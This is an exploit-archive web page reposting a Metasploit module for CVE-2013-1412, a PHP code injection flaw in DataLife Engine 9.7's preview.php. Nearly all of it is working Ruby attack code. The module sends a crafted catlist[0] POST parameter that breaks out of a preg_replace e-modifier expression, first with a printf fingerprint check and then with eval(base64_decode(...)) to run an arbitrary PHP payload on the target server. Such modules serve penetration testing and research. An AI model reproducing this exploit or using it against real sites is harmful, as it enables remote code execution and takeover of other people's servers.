首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DataLife Engine preview.php PHP Code Injection
来源:metasploit.com 作者:vazquez 发布时间:2013-02-04  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DataLife Engine preview.php PHP Code Injection',
   'Description'    => %q{
     This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
    The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
    with the e modifier, which allows to inject arbitrary php code, when the template
    in use contains a [catlist] or [not-catlist] tag.
   },
   'Author'         =>
    [
     'EgiX', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2013-1412' ],
     [ 'BID', '57603' ],
     [ 'EDB', '24438' ],
     [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
     [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'Keys'   => ['php']
    },
   'DisclosureDate' => 'Jan 28 2013',
   'Targets'        => [ ['DataLife Engine 9.7', { }], ],
   'DefaultTarget'  => 0
   ))

  register_options(
   [
    OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
   ], self.class)
 end

 def uri
  normalize_uri(target_uri.path, 'engine', 'preview.php')
 end

 def check
  fingerprint = rand_text_alpha(4+rand(4))
  res = send_request_cgi(
   {
    'uri'       =>  uri,
    'method'    => 'POST',
    'vars_post' =>
     {
      'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
     }
   })

  if res and res.code == 200 and res.body =~ /#{fingerprint}/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  @peer = "#{rhost}:#{rport}"

  print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
  res = send_request_cgi(
   {
    'uri'       =>  uri,
    'method'    => 'POST',
    'vars_post' =>
     {
      'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
     }
   })
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle Automated Service Manag
·Opera SVG Use After Free Vulne
·Inter-Keystroke Timing Proof O
·FreeBSD 9.1 ftpd Remote Denial
·D-Link DCS Cameras Authenticat
·Portable UPnP SDK unique_servi
·Photodex ProShow Producers 5.0
·Linux Kernel /dev/ptmx Key Str
·Apple Quick Time Player (Windo
·VMWare OVF Tools Format String
·Ruby on Rails JSON Processor Y
·ActFax 5.01 RAW Server Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved